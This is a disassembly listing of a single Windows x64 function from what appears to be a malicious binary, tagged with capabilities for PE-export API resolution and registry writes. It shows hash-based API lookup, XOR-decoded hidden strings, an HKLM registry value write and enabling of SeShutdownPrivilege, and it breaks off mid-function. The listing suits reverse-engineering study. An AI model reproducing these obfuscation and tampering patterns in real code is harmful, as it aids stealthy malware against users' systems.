Function at 0x1400a0e00
Capabilities:
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
call fcn.140079310
mov r9, qword [0x140143798]
lea rax, [0x1400a07a0]
xor ebx, ebx
mov qword [0x1401436b8], rax
mov eax, 0xcff20a67
test r9, r9
jne 0x1400a0ead
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x1400a0e82
mov rdi, qword [0x1401436a8]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x1400a0f18
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400a0e62
mov eax, 0xcff20a67
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
xor r9, rax
mov qword [0x140143798], r9
xor r9, rax
jne 0x1400a0ed3
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, 0xa0
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
mov rdi, rax
test rax, rax
je 0x1400a103c
xor edx, edx
mov r8d, 0xa0
mov rcx, rax
call fcn.1400a5760
mov rcx, rdi
call fcn.1400613d0
jmp 0x1400a103f
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400a0fa9
nop dword [rax]
nop word [rax + rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400a0f6b
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400a0f62
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400a0fa1
mov rax, rbx
nop dword [rax]
movsx ecx, byte [rax + r9]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400a0f80
cmp ecx, 0xe040e233
je 0x1400a0fbd
inc r11d
cmp r11d, r15d
jb 0x1400a0f50
mov dword [0x140143468], 0x13
mov eax, 0xcff20a67
jmp 0x1400a0e8c
cmp r11w, 0xffff
je 0x1400a0fa9
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov r9d, dword [rcx + rdx*4]
add r9, rsi
cmp r9, r12
jb 0x1400a1002
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rcx
add rax, rsi
cmp r9, rax
jbe 0x1400a0fa9
cmp r9, rsi
jb 0x1400a0fa9
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp r9, rax
ja 0x1400a0fa9
test r9, r9
je 0x1400a0fa9
mov rcx, qword [rdi + 0x18]
mov eax, 0xcff20a67
add rcx, rsi
cmp r9, rcx
jbe 0x1400a0ea3
mov dword [0x140143468], 0x15
jmp 0x1400a0e8c
mov rax, rbx
mov qword [0x140143498], rax
call fcn.14001ae90
movabs r13, 0x63f567d419f060eb
movabs r12, 0x1dccecd101b59cc
test al, al
je 0x1400a109f
mov rax, qword gs:[0x30]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r12
mov edx, dword [rax + 0x40]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r12
movdqa xmm0, xmmword [rsp + 0x60]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x60], xmm0
call fcn.140001180
xor edx, edx
lea rcx, [rbp + 0xb0]
mov r8d, 0x208
call fcn.1400a5760
mov edx, 0x104
lea rcx, [rbp + 0xb0]
call fcn.140070fd0
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x38], r12
movabs rax, 0x639167b8199f60c5
mov qword [rsp + 0x50], r13
mov r8d, 4
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x58], r12
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x30], xmm0
cmp word [rbp + 0xb0], bx
je 0x1400a1119
nop word [rax + rax]
add rcx, 2
cmp word [rcx], bx
jne 0x1400a1110
lea rdx, [rsp + 0x30]
cmp word [rsp + 0x30], bx
je 0x1400a1140
test r8, r8
je 0x1400a1140
movzx eax, word [rdx]
dec r8
add rdx, 2
mov word [rcx], ax
add rcx, 2
cmp word [rdx], bx
jne 0x1400a1125
mov word [rcx], bx
lea rcx, [rbp + 0xb0]
call fcn.140070d10
test al, al
je 0x1400a1226
nop word [rax + rax]
mov rdx, qword [0x140143a30]
test rdx, rdx
jne 0x1400a11cb
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x1400a119c
mov rdi, qword [0x1401436a8]
cmp dword [rdi + 0x20], 0x1a6c9752
je 0x1400a15a1
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400a1181
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov rdx, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
xor rdx, 0x54a2802
mov qword [0x140143a30], rdx
xor rdx, 0x54a2802
jne 0x1400a11f5
mov dword [0x140143468], 0x14
mov rdx, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
lea rcx, [rbp + 0xb0]
call rdx
lea rcx, [rbp + 0xb0]
call fcn.140070d10
test al, al
jne 0x1400a1160
movabs r12, 0x1dccecd101b59cc
movabs r13, 0x63f567d419f060eb
call fcn.140094050
movabs rax, 0x63a1678719a960b8
mov qword [rbp + 0x40], r13
mov qword [rbp - 0x60], rax
lea r8, [rsp + 0x30]
movabs rax, 0x19fce9110565989
mov qword [rbp + 0x48], r12
mov qword [rbp - 0x58], rax
lea rdx, [rbp - 0x60]
movdqa xmm0, xmmword [rbp - 0x60]
movabs rax, 0x46a35fe40fbdc648
pxor xmm0, xmmword [rbp + 0x40]
movabs r14, 0x46c65f960fcfc63d
mov qword [rbp - 0x50], rax
movabs r15, 0x599c5a3fe6dfa23e
movdqa xmmword [rbp - 0x60], xmm0
movabs rax, 0x59f35a7ce6aba250
mov qword [rbp - 0x48], rax
movabs rdi, 0x83a97f88aca6a37f
movdqa xmm1, xmmword [rbp - 0x50]
movabs rax, 0x83c67ffaacd2a311
mov qword [rbp - 0x40], rax
movabs rsi, 0x9bbe408113626e70
movabs rax, 0x9bca40e413316e1c
mov qword [rbp + 0x50], r14
mov qword [rbp - 0x38], rax
mov rcx, 0xffffffff80000002
movdqa xmm0, xmmword [rbp - 0x40]
movabs rax, 0x91dac005eb6cfcbd
mov qword [rbp - 0x30], rax
movabs rax, 0x1f673e5c24eb9a36
mov qword [rbp - 0x28], rax
movabs rax, 0xec9fd6a9a822596f
mov qword [rbp - 0x20], rax
movabs rax, 0x1c4ba20a6b776c47
mov qword [rbp - 0x18], rax
movabs rax, 0xbfa6210f77114fe5
mov qword [rbp - 0x10], rax
movabs rax, 0xdc97ad12c43d0547
mov qword [rbp - 8], rax
movabs rax, 0xbe5ccf0f1cd7a07b
mov qword [rbp], rax
movabs rax, 0x83f229b93c758f3d
mov qword [rbp + 8], rax
movabs rax, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x70], rax
movabs rax, 0x1f0b3e3324999a42
mov qword [rbp + 0x78], rax
movabs rax, 0xececd6cca8715933
mov qword [rbp + 0x80], rax
movabs rax, 0x1c25a2656b1e6c34
mov qword [rbp + 0x88], rax
movabs rax, 0xbfc8216e775c4fc5
mov qword [rbp + 0x90], rax
movabs rax, 0xdce5ad77c45a0526
mov qword [rbp + 0x98], rax
movabs rax, 0xbe2bcf601c87a027
mov qword [rbp + 0xa0], rax
movabs rax, 0x83f229b93c078f58
mov qword [rbp + 0x58], r15
pxor xmm1, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [rbp - 0x30]
pxor xmm1, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [rbp - 0x10]
pxor xmm1, xmmword [rbp + 0x90]
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], rsi
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [rbp]
mov qword [rbp + 0xa8], rax
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp], xmm0
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x40], ebx
movdqa xmmword [rbp - 0x10], xmm1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x1400a1509
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x70]
mov qword [rbp - 0x70], rdi
movabs rax, 0x639067b6199960a3
mov qword [rsp + 0x70], rax
mov r9d, 4
mov qword [rbp - 0x68], rsi
movabs rax, 0x1b3cea2107959be
mov qword [rsp + 0x78], rax
xor r8d, r8d
movdqa xmm0, xmmword [rsp + 0x70]
movabs rax, 0x46a75ff80f8ac649
mov qword [rbp - 0x80], rax
movabs rax, 0x59f85a5ae6b3a25c
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x40]
movdqa xmm1, xmmword [rbp - 0x80]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r12
pxor xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x70]
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], r15
pxor xmm1, xmmword [rbp + 0x20]
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rsi
pxor xmm0, xmmword [rbp + 0x30]
mov dword [rsp + 0x28], 4
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dl, 1
lea rcx, str.SeShutdownPrivilege
call fcn.1400697f0
call fcn.14006fbe0
call fcn.14008b610
mov r9, qword [0x140143798]
test r9, r9
jne 0x1400a17c2
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x1400a156b
mov rdi, qword [0x1401436a8]
nop word [rax + rax]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x1400a16b1
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400a1550
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov r14d, 0xcff20a67
xor r9, r14
mov qword [0x140143798], r9
jmp 0x1400a17c8
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400a1629
nop dword [rax + rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400a15eb
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400a15e2
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400a1621
mov rax, rbx
nop dword [rax]
movsx ecx, byte [rax + r9]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400a1600
cmp ecx, 0x1f26bf50
je 0x1400a1638
inc r11d
cmp r11d, r15d
jb 0x1400a15d0
mov dword [0x140143468], 0x13
jmp 0x1400a11a6
cmp r11w, 0xffff
je 0x1400a1629
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov edx, dword [rcx + rdx*4]
add rdx, rsi
cmp rdx, r12
jb 0x1400a167c
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rcx
add rax, rsi
cmp rdx, rax
jbe 0x1400a1629
cmp rdx, rsi
jb 0x1400a1629
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp rdx, rax
ja 0x1400a1629
test rdx, rdx
je 0x1400a1629
mov rcx, qword [rdi + 0x18]
add rcx, rsi
cmp rdx, rcx
jbe 0x1400a11bd
mov dword [0x140143468], 0x15
jmp 0x1400a11a6
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400a1739
nop dword [rax + rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400a16fb
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400a16f2
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400a1731
mov rax, rbx
nop dword [rax]
movsx ecx, byte [rax + r9]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400a1710
cmp ecx, 0xe040e233
je 0x1400a1748
inc r11d
cmp r11d, r15d
jb 0x1400a16e0
mov dword [0x140143468], 0x13
jmp 0x1400a1575
cmp r11w, 0xffff
je 0x1400a1739
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov r9d, dword [rcx + rdx*4]
add r9, rsi
cmp r9, r12
jb 0x1400a178d
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rcx
add rax, rsi
cmp r9, rax
jbe 0x1400a1739
cmp r9, rsi
jb 0x1400a1739
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp r9, rax
ja 0x1400a1739
test r9, r9
je 0x1400a1739
mov rcx, qword [rdi + 0x18]
add rcx, rsi
cmp r9, rcx
jbe 0x1400a158c
mov dword [0x140143468], 0x15
jmp 0x1400a1575
mov r14d, 0xcff20a67
xor r9, r14
jne 0x1400a17ee
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, 0xa8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
test rax, rax
je 0x1400a181c
mov rcx, rax
call fcn.14005eb10
mov rdi, rax
jmp 0x1400a181f
mov rdi, rbx
mov rcx, rdi
mov qword [rsp + 0x30], rdi
call fcn.14009e0c0
mov r9, qword [0x1401437a8]
mov esi, 0xb83816b6
test r9, r9
jne 0x1400a189d
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x1400a186d
mov rdi, qword [0x1401436a8]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x1400a19c3
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400a1852
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rdi, qword [rsp + 0x30]
xor r9, rsi
mov qword [0x1401437a8], r9
xor r9, rsi
jne 0x1400a18c3
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
mov rax, qword [0x140143498]
cmp byte [rax + 0x69], bl
je 0x1400a220a
cmp byte [rax + 0x6a], bl
je 0x1400a220a
cmp dword [0x140143468], ebx
jne 0x1400a220a
mov r9, qword [0x140143798]
test r9, r9
jne 0x1400a1968
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x1400a193d
mov rdi, qword [0x1401436a8]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x1400a1ae8
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400a1922
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
xor r9, r14
mov qword [0x140143798], r9
xor r9, r14
jne 0x1400a198e
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, 0xa8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
test rax, rax
je 0x1400a1c18
mov rcx, rax
call fcn.14005f3c0
mov rdi, rax
jmp 0x1400a1c1b
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400a1a49
nop dword [rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400a1a0b
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400a1a02
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400a1a41
mov rax, rbx
nop dword [rax]
movsx ecx, byte [rax + r9]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400a1a20
cmp ecx, 0x978afee2
je 0x1400a1a63
inc r11d
cmp r11d, r15d
jb 0x1400a19f0
mov dword [0x140143468], 0x13
mov esi, 0xb83816b6
mov r14d, 0xcff20a67
jmp 0x1400a1877
cmp r11w, 0xffff
je 0x1400a1a49
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov r9d, dword [rcx + rdx*4]
add r9, rsi
cmp r9, r12
jb 0x1400a1aa8
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rcx
add rax, rsi
cmp r9, rax
jbe 0x1400a1a49
cmp r9, rsi
jb 0x1400a1a49
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp r9, rax
ja 0x1400a1a49
test r9, r9
je 0x1400a1a49
mov rcx, qword [rdi + 0x18]
mov r14d, 0xcff20a67
add rcx, rsi
mov esi, 0xb83816b6
cmp r9, rcx
jbe 0x1400a188e
mov dword [0x140143468], 0x15
jmp 0x1400a1877
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400a1b79
nop dword [rax]
nop word [rax + rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400a1b3b
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400a1b32
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400a1b71
mov rax, rbx
nop dword [rax]
movsx ecx, byte [r9 + rax]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400a1b50
cmp ecx, 0xe040e233
je 0x1400a1b93
inc r11d
cmp r11d, r15d
jb 0x1400a1b20
mov dword [0x140143468], 0x13
mov esi, 0xb83816b6
mov r14d, 0xcff20a67
jmp 0x1400a1947
cmp r11w, 0xffff
je 0x1400a1b79
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov r9d, dword [rcx + rdx*4]
add r9, rsi
cmp r9, r12
jb 0x1400a1bd8
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rsi
add rax, rcx
cmp r9, rax
jbe 0x1400a1b79
cmp r9, rsi
jb 0x1400a1b79
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp r9, rax
ja 0x1400a1b79
test r9, r9
je 0x1400a1b79
mov rcx, qword [rdi + 0x18]
mov r14d, 0xcff20a67
add rcx, rsi
mov esi, 0xb83816b6
cmp r9, rcx
jbe 0x1400a195e
mov dword [0x140143468], 0x15
jmp 0x1400a1947
mov rdi, rbx
mov rcx, rdi
mov qword [rsp + 0x30], rdi
call fcn.14009e0c0
mov r9, qword [0x1401437a8]
test r9, r9
jne 0x1400a1c9b
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x1400a1c6b
mov rdi, qword [0x1401436a8]
nop dword [rax]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x1400a1dc1
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400a1c50
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rdi, qword [rsp + 0x30]
xor r9, rsi
mov qword [0x1401437a8], r9
xor r9, rsi
jne 0x1400a1cc1
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
mov rax, qword [0x140143498]
cmp byte [rax + 0x78], bl
je 0x1400a220a
cmp dword [0x140143468], ebx
jne 0x1400a220a
mov r9, qword [0x140143798]
test r9, r9
jne 0x1400a1d66
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x1400a1d3b
mov rdi, qword [0x1401436a8]
nop word [rax + rax]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x1400a1ee8
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400a1d20
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
xor r9, r14
mov qword [0x140143798], r9
xor r9, r14
jne 0x1400a1d8c
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, 0x118
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
test rax, rax
je 0x1400a2018
mov rcx, rax
call fcn.14005fe60
mov rdi, rax
jmp 0x1400a201b
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400a1e49
nop dword [rax + rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400a1e0b
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400a1e02
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400a1e41
mov rax, rbx
nop dword [rax]
movsx ecx, byte [r9 + rax]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400a1e20
cmp ecx, 0x978afee2
je 0x1400a1e63
inc r11d
cmp r11d, r15d
jb 0x1400a1df0
mov dword [0x140143468], 0x13
mov esi, 0xb83816b6
mov r14d, 0xcff20a67
jmp 0x1400a1c75
cmp r11w, 0xffff
je 0x1400a1e49
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov r9d, dword [rcx + rdx*4]
add r9, rsi
cmp r9, r12
jb 0x1400a1ea8
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rsi
add rax, rcx
cmp r9, rax
jbe 0x1400a1e49
cmp r9, rsi
jb 0x1400a1e49
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp r9, rax
ja 0x1400a1e49
test r9, r9
je 0x1400a1e49
mov rcx, qword [rdi + 0x18]
mov r14d, 0xcff20a67
add rcx, rsi
mov esi, 0xb83816b6
cmp r9, rcx
jbe 0x1400a1c8c
mov dword [0x140143468], 0x15
jmp 0x1400a1c75
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400a1f79
nop dword [rax]
nop word [rax + rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400a1f3b
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400a1f32
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400a1f71
mov rax, rbx
nop dword [rax]
movsx ecx, byte [r9 + rax]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400a1f50
cmp ecx, 0xe040e233
je 0x1400a1f93
inc r11d
cmp r11d, r15d
jb 0x1400a1f20
mov dword [0x140143468], 0x13
mov esi, 0xb83816b6
mov r14d, 0xcff20a67
jmp 0x1400a1d45
cmp r11w, 0xffff
je 0x1400a1f79
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov r9d, dword [rcx + rdx*4]
add r9, rsi
cmp r9, r12
jb 0x1400a1fd8
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rsi
add rax, rcx
cmp r9, rax
jbe 0x1400a1f79
cmp r9, rsi
jb 0x1400a1f79
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp r9, rax
ja 0x1400a1f79
test r9, r9
je 0x1400a1f79
mov rcx, qword [rdi + 0x18]
mov r14d, 0xcff20a67
add rcx, rsi
mov esi, 0xb83816b6
cmp r9, rcx
jbe 0x1400a1d5c
mov dword [0x140143468], 0x15
jmp 0x1400a1d45
mov rdi, rbx
mov rcx, rdi
mov qword [rsp + 0x30], rdi
call fcn.14009e0c0
mov rdx, qword [0x1401437a8]
test rdx, rdx
jne 0x1400a2097
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x1400a2067
mov rdi, qword [0x1401436a8]
nop dword [rax]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x1400a20c3
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400a2050
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov rdx, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rdi, qword [rsp + 0x30]
xor rdx, rsi
mov qword [0x1401437a8], rdx
xor rdx, rsi
jne 0x1400a21db
mov dword [0x140143468], 0x14
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
jmp 0x1400a21de
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400a2149
nop dword [rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400a210b
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400a2102
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400a2141
mov rax, rbx
nop dword [rax]
movsx ecx, byte [r9 + rax]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400a2120
cmp ecx, 0x978afee2
je 0x1400a215d
inc r11d
cmp r11d, r15d
jb 0x1400a20f0
mov dword [0x140143468], 0x13
mov esi, 0xb83816b6
jmp 0x1400a2071
cmp r11w, 0xffff
je 0x1400a2149
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov edx, dword [rcx + rdx*4]
add rdx, rsi
cmp rdx, r12
jb 0x1400a21a1
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rsi
add rax, rcx
cmp rdx, rax
